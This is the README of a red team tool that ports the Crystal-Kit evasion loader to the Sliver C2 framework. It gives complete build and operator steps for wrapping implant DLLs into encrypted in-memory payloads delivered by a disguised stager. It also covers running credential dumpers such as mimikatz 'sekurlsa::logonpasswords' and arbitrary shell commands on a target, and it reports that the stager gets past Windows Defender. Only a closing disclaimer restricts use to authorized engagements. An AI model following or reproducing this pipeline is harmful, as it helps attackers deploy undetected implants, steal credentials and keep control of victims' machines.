# crystal-kit-sliver Crystal Palace evasion kit ported to [Sliver C2](https://sliver.sh). This is the first public port of rasta-mouse's [Crystal-Kit](https://github.com/rasta-mouse/Crystal-Kit) (Cobalt Strike) to Sliver. It follows the same cross-C2 pattern proven by [Crystal-Kit-Xenon](https://github.com/nickswink/Crystal-Kit-Xenon) (Mythic). - **License:** MIT — Copyright (c) 2026 Simone Licitra - **Target:** Windows x64 only (upstream constraint) - **Status:** verified end-to-end — Kali build pipeline + Windows 10 x64 FLARE-VM runtime. Sliver session established. --- ## What it does Replaces Sliver's default reflective loader and post-ex execution path with [Crystal Palace](https://tradecraftgarden.org/) (Raphael Mudge, BSD). The result is a position-independent code (PICO) blob that bundles: - ror13 hash-based API resolution (no plain `LoadLibrary` / `GetProcAddress`) - IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA` - Draugr call stack spoofing during callbacks - XOR sleep mask over the embedded DLL - libtcg-based runtime obfuscation The Sliver implant DLL (or any post-ex DLL) is XOR-masked inside the PICO and only unmasked in memory at execution time. --- ## Two use cases ### A — Implant evasion (PRIMARY) The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO, AES-256-CBC encrypted, and delivered with a custom stager (~17 KB) that decrypts and executes it in memory. ``` sliver-server generate --format shared → impl.dll │ ▼ generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO) │ ▼ bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload) → payload.dat (~36 MB AES-256-CBC ciphertext) │ ▼ deliver BOTH files to same directory on target ▼ Windows VM: csvchelper.exe │ ▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory ▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry ▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session ``` ### B — Post-ex evasion (SECONDARY) Once a session is active, run sensitive DLLs (recon, credential dumpers, etc.) through Crystal Palace via a Sliver Extension. ``` sliver > extensions install crystal-loader-0.1.0.tar.gz sliver > crystal --payload C:/path/mimikatz.pico.bin ``` Pass runtime args without a rebuild by appending them after `|`: ``` sliver > crystal --payload C:/path/file.pico.bin|args here ``` The `crystal-loader.x64.dll` is a Sliver DLL Extension that reads the PICO blob from disk into a `VirtualAlloc(RW)` region, flips it to RX with `VirtualProtect`, and jumps to the Crystal Palace entrypoint. No `PAGE_EXECUTE_READWRITE` mapping is ever held. Paths use forward slashes. Arg format is `type:string` (not BOF binary). The DLL is loaded in-memory by Sliver — it is not written as a file to the target disk. ### C — Built-in shell execution via Crystal Palace `crystal-exec` is a second command bundled in the same extension. It runs arbitrary shell commands through Crystal Palace evasion using a PICO embedded directly in the extension DLL — no PICO file to upload. ``` sliver > crystal-exec --cmd "whoami /all" ``` Output is returned to the operator over the existing Sliver session via a pipe. This is the fastest path for one-off shell commands when you do not need a full post-ex DLL. --- ## Repo layout ``` crystal-kit-sliver/ ├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit ├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch ├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience) └── sliver-glue/ ← Sliver-specific build glue ├── extension.json Sliver Extension manifest ├── generate.sh Wrap a post-ex DLL → PICO (Use case B) ├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A) ├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy) ├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary) ├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball ├── Makefile make objects / package / clean ├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest) └── wrapper/ crystal-loader.c (BOF-compat DLL wrapper) docs/ ├── RUNBOOK.md Step-by-step Kali → Windows lab procedure ├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs └── TOOLCHAIN.md Build prerequisites and pipeline details ``` --- ## Quick build (Kali / Debian / Ubuntu) ```bash # 1. Toolchain sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl # 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge) mkdir -p external/crystalpalace curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \ | tar -xz -C external/crystalpalace/ export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist # 3. Build everything make -C crystal-kit-sliver/loader all make -C crystal-kit-sliver/postex-loader all make -C crystal-kit-sliver/sliver-glue/wrapper all make -C crystal-kit-sliver/sliver-glue/wrapper smoketest make -C crystal-kit-sliver/sliver-glue/crystal-exec all # 4. Use case A — wrap a Sliver implant and build the stager ./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \ crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin ./crystal-kit-sliver/sliver-glue/bundle-stager.sh \ crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \ crystal-kit-sliver/sliver-glue/build/csvchelper.exe # → produces build/csvchelper.exe + build/payload.dat (deliver both to target) # 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command) ./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll # With baked-in args: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit" ./crystal-kit-sliver/sliver-glue/pack-extension.sh # 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c) cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd - ./crystal-kit-sliver/sliver-glue/pack-extension.sh ``` See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener setup, target execution, troubleshooting). --- ## What is verified | Item | Status | Evidence | |---|---|---| | All Crystal-Kit sources compile under MinGW 15.2 + NASM 3.01 | OK | `make all` clean, 8 `.o` + 1 `.bin` per loader | | Xenon post-ex patches present | OK | `dfr "ror13"`, `_DLLARGS_` section, `dll_arguments` param in `DLL_PROCESS_ATTACH` | | Crystal Palace CLI verified | OK | `./link [%KEY=value]` — positional, documented in `dist/README` | | End-to-end PICO build (Use case A) | OK | 117 KB PICO produced from test DLL | | End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` | | Sliver Extension wrapper DLL builds | OK | `crystal-loader.x64.dll` ~42 KB, `crystal-exec.x64.dll` ~75 KB — both PE32+ exporting `Initialize` symbol; no RWX; stripped | | Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` | | Custom stager build (two-file delivery) | OK | `bundle-stager.sh` → `csvchelper.exe` (17 KB, entropy 4.784) + `payload.dat` (AES-256-CBC) | | Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM; stager passes Defender (Wacatac.B!ml + ZomBytes.B) | | Runtime execution on Windows (Use case B) | OK | `crystal --payload C:/path/file.pico.bin` — new Sliver session established via post-ex PICO; arg format verified as `type:string`, forward slash path | | `crystal-exec` command | OK | Shell command output returned to operator via pipe; PICO embedded in extension DLL, no upload required | --- ## Dependencies | Dependency | License | How to obtain | Bundled? | |---|---|---|---| | Crystal Palace (`crystalpalace.jar`, `link`, etc.) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | `curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz` | No (`.gitignore` excludes `external/`) | | `libtcg.x64.zip` | Upstream binary, license unstated (likely QEMU TCG-derived) | Copied from upstream Crystal-Kit repo | Yes, kept in tree for build convenience | | Sliver C2 | GPLv3 | | No — runtime dependency only | | MinGW-w64 + NASM | GPL-compatible | `apt install` or `brew install` | No | This repository does NOT redistribute `crystalpalace.jar`. The build pipeline fetches it externally and references it via the `CRYSTAL_PALACE_HOME` environment variable. --- ## Attribution See [`NOTICE.md`](NOTICE.md) for the full list of upstream copyrights and licenses. Brief summary: - **rasta-mouse** — Crystal-Kit (MIT) — base reflective loader, postex loader, spec files - **nickswink** — Crystal-Kit-Xenon (MIT) — cross-C2 patch template (smart pointers removal + `dll_args` section) - **Raphael Mudge / AFF-WG** — Crystal Palace (BSD-3-Clause) — linker and PIC tooling - **TrustedSec** — COFFLoader (BSD-3-Clause) — BOF compatibility layer (`beacon.h`, `beacon_compatibility.c/h`) - **BishopFox** — Sliver C2 (GPLv3) — target framework --- ## Roadmap - [x] 1 — Audit upstream repos + extract diff between Crystal-Kit and Crystal-Kit-Xenon - [x] 2 — Toolchain documentation + repository scaffold - [x] 3 — File-by-file porting map with literal diffs (`docs/PORTING_MAP.md`) - [x] 4 — Sources copied + Xenon patches applied + LICENSE + NOTICE - [x] 5 — `sliver-glue/` glue scripts and Extension manifest - [x] 6a — DLL wrapper written, built (MinGW 15.2), packaged, smoke test shellcode - [x] 6b — Crystal Palace CLI verified, real PICO built end-to-end - [x] 6c — Dual use case A/B: `generate-implant.sh` + `bundle-implant.sh` - [x] 6d — Runtime test on Windows x64 lab — Use case A verified (Sliver session established on FLARE-VM) - [x] 6e — Use case B runtime verified (`crystal --payload` works, arg format fixed to `type:string`, forward slash path) - [x] 6f — `crystal-exec` command: built-in post-ex shell execution via Crystal Palace (no upload required) - [x] 6g — Runtime args via `|` separator for dynamic DLL args without rebuild --- ## Disclaimer Offensive security tooling intended for authorized red team engagements, lab research, and education. Use only in environments where you have written authorization. The author assumes no responsibility for misuse.